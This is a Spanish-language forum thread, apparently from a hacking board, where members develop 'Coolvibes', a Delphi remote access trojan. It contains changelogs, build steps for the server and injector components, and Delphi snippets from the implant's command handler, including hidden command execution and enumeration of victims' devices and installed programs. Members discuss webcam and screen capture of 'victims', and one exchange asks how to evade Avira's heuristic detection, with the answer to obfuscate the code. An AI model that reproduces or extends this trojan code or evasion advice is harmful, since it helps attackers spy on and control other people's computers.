Coolvibes es un RAT FWB escrito en delphi 7, las unicas dependencias que usa son INDY 9 (viene por defecto en todas las versiones de delphi pro) y madCollection
Changelog escribió: Fecha 22/05/2012
Versión: 1 Update 13
Modificación de: DSR!
[*] Arreglado bug en parseo de tamaño de archivo en el file manager
[*] Arreglado bug en transferencia de archivos de mas de 1 giga
[*] Arregladas algunas lineas/cosas menores mas
Cosas a hacer (ToDo):
[*] Compresión de datos (empece a hacerlo pero por algun motivo no me funciona, sospecho que sera cosa de indi 9?)
[*] Intente pasarme un archivo de 12gigas en mi red y el rat solo tomo el peso como 300k o algo asi, habria que mirar que falla al respecto
[*] Duplicados en treeview del file manager
[*] Agregar metodo alternativo de captura de Camara (estoy con eso)

Otras cosas que se deberian hacer:
[*] Pulir el codigo, tal vez haciendo como en el SSRat2 que usar un parser para todo
[*] Ver de migrar de Indy 9 a 10, habria que ver como se comporta el rat con 200-400 remotos
Coolvibes v1.13.rar
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
Tengo una duda. En las instrucciones para compilar el programa se indica :

Crear ./Server/Jeringa/Jeringa.dpr sin resource como exe [Jeringa.exe]
Crear ./Server/Coolserver.dpr como dll [Coolserver.dll]
Crear ./Server/Conectador/Conectador.dpr como dll y como exe [Conectador.exe] y [Conectador.dll]

No entiendo como se puede crear la dll coolserver.dll y conectador.dll. Siempre que compilo me aparece como .exe.

¿Simplemente hay que renombrar el fichero o hay que hacer algo más desde el delphi?

Gracias.
//library CoolServer; //Para crear el server definitivo que colocaremos en %cooldir%/cliente/recursos/coolserver.dll
program CoolServer; //Para debug, más lineas "Para debug" abajo
comenta/descomenta segun lo que quieras hacer en los .dpr correspondientes

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
Esto es lo unico que encontre dentro del fallido v0.6b para agregar en la versión actual. el que encuentre alguien mas pongalo en este hilo xD

Código: Seleccionar todo

// Prioridad normal a un proceso
          if Copy(Recibido, 1, 4) = 'SET0' then
          begin
            Delete(Recibido, 1, 5);
          if SetProcessPriority(Recibido, NORMAL_PRIORITY_CLASS) = True then
              SendText('MSG|Prioridad normal asignada a proceso con PID ' + Recibido + ENTER)
            else
              SendText('MSG| :( No pude cambiar prioridad al proceso con PID  ' + Recibido + ENTER);
          end;
          
          if Copy(Recibido, 1, 4) = 'SET1' then
          begin
            Delete(Recibido, 1, 5);
          if SetProcessPriority(Recibido, IDLE_PRIORITY_CLASS) = True then
              SendText('MSG|Prioridad Idle asignada a proceso con PID ' + Recibido + ENTER)
            else
              SendText('MSG| :( No pude cambiar prioridad al proceso con PID  ' + Recibido + ENTER);
          end;

          if Copy(Recibido, 1, 4) = 'SET2' then
          begin
            Delete(Recibido, 1, 5);
          if SetProcessPriority(Recibido, HIGH_PRIORITY_CLASS) = True then
              SendText('MSG|Prioridad alta asignada a proceso con PID ' + Recibido + ENTER)
            else
              SendText('MSG| :( NNo pude cambiar prioridad al proceso con PID  ' + Recibido + ENTER);
          end;
            
          if Copy(Recibido, 1, 4) = 'SET3' then
          begin
            Delete(Recibido, 1, 5);
          if SetProcessPriority(Recibido, REALTIME_PRIORITY_CLASS) = True then
              SendText('MSG|Prioridad realtime asignada a proceso con PID ' + Recibido + ENTER)
            else
              SendText('MSG| :( No pude cambiar prioridad al proceso con PID ' + Recibido + ENTER);
          end;

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
Creo que habría que añadirle una funcionalidad bastante útil que la tiene el Spy-net (ripeada del coolvibes, sobre todo vean la unit transfer es la misma) y el xtreme, que es en las conexiones añadirle si la victma tiene cam o no, y la posicbilidad de ver una captura de pantalla en miniatura al seleccionar la victima en el listview de conexiones.

PD tb se podría hacer un splash screen con la imagen del coolvibes, y quitarla del form principal, y quitrale los botones y ponerle un menu.
estoy rehaciendo la parte de captura de camara asi que por ahi proximamente se viene esa mejora y lo de captura de escritorio esta implementado pero falla.

subo la versión en que estaba trabajando, eso si es algo experimental aun xD
Fecha 12/06/2012
Versión: 1 Update 14
Modificación de: DSR!
[*] Pequeña modificacion en el comportamiento del server
[*] Cifrado (RC4) y compresion (zlib) de datos *EXPERIMENTAL* Falla con algunas funciones por capricho de zlib parece, algo mal debo haber hecho xD
Coolvibes v1.14.rar
tambien adjunto material para plugins, ya era hora que el spyrippernet nos devuelva un poco de codigo!
if copy(Comando, 1, pos('|', Comando) - 1) = LISTDEVICES then
begin
TempStr := FillDeviceList(DeviceClassesCount, DevicesCount);
_EnviarStream(ClientSocket, LISTDEVICES + '|' +
LISTADEDISPOSITIVOSPRONTA + '|' +
inttostr(DeviceClassesCount) + '|' +
inttostr(DevicesCount) + '|' +
TempStr);
end else

if copy(Comando, 1, pos('|', Comando) - 1) = LISTEXTRADEVICES then
begin
delete(Comando, 1, pos('|', Comando));
TempStr := ShowDeviceAdvancedInfo(strtoint(copy(Comando, 1, pos('|', Comando) - 1)));
_EnviarStream(ClientSocket, LISTEXTRADEVICES + '|' +
LISTADEDISPOSITIVOSEXTRASPRONTA + '|' +
TempStr);
end else




if copy(Comando, 1, pos('|', Comando) - 1) = LISTARPROGRAMASINSTALADOS then
begin
tempstr := ListarApp('HKEY_LOCAL_MACHINE\' + UNINST_PATH);
_EnviarStream(ClientSocket, LISTARPROGRAMASINSTALADOS + '|' +
LISTADEPROGRAMASINSTALADOSPRONTA + '|' +
TempStr + '|');
CloseHandle(CommandThreadId);
end else

if copy(Comando, 1, pos('|', Comando) - 1) = DESINSTALARPROGRAMA then
begin
delete(Comando, 1, pos('|', Comando));
tempstr := copy(Comando, 1, pos('|', Comando) - 1);
//myShellExecute(0, 'open', pchar(tempstr), nil, nil, SW_HIDE);
winexec(pchar(tempstr), sw_hide);
CloseHandle(CommandThreadId);
end else
para plugins.rar
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
adjunto mas cosas al post anterior :)

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
Hola a todos.

Estoy intentando modificar el código fuente del Conectador para hacerlo indetectable. Por el momento estoy haciendo las pruebas con el antivirus Avira.

He realizado cambios en los nombres de variables y funciones, además del nombre de cadenas. Ahora me lo detecta como un virus con nombre distinto al original, pero lo sigue detectando a fin de cuentas.

En la descripción del antivirus sobre la detección se indica que ha sido localizado por métodos heurísticos. ¿Qué me aconsejáis para modificar el código y evitar también los métodos heurísticos?

Gracias!
ensuciar el codigo y ese tipo de cosas.

subo mi primer pluggin xD

Imagen

InstalledApplications.rar
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
DSR! escribió:ensuciar el codigo y ese tipo de cosas.

subo mi primer pluggin xD
En Windows Xp va bien, pero en Windows 7 los plugins parece que fallan.
lo probe en 7 x32 y deberia funcionar tambien en x64. aunque me parece que hay una falla en la unit que se encarga de manejar los plugins que no contempla que mientras se usa un plugin se puede desconectar el cliente.

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
DSR! escribió:lo probe en 7 x32 y deberia funcionar tambien en x64. aunque me parece que hay una falla en la unit que se encarga de manejar los plugins que no contempla que mientras se usa un plugin se puede desconectar el cliente.
DSR! estoy trabajando en un troyano completamente modular, le asigne a cada usuario un arbol de punteros a sus respectivos forms y cuando se desconecta simplemente le aviso al plugin que lo cerrare y elimino el form (en caso de que el plugin siga terco).

Saludos!
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
orlando9427 escribió:
DSR! escribió:lo probe en 7 x32 y deberia funcionar tambien en x64. aunque me parece que hay una falla en la unit que se encarga de manejar los plugins que no contempla que mientras se usa un plugin se puede desconectar el cliente.
DSR! estoy trabajando en un troyano completamente modular, le asigne a cada usuario un arbol de punteros a sus respectivos forms y cuando se desconecta simplemente le aviso al plugin que lo cerrare y elimino el form (en caso de que el plugin siga terco).

Saludos!
Hola, pues podias publicar la unit que se encarga de los plugins asi la adaptamos al Coolvibes
no hace falta que publique nada, es agregarle una linea mas al modulo del coolvibes para que haga eso. la cosa seria hacer una rutina que le regenere el id de socket que tendria en una nueva conexion cliente/servidor

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
Responder

Volver a “Desarrollo CoolvibesRAT”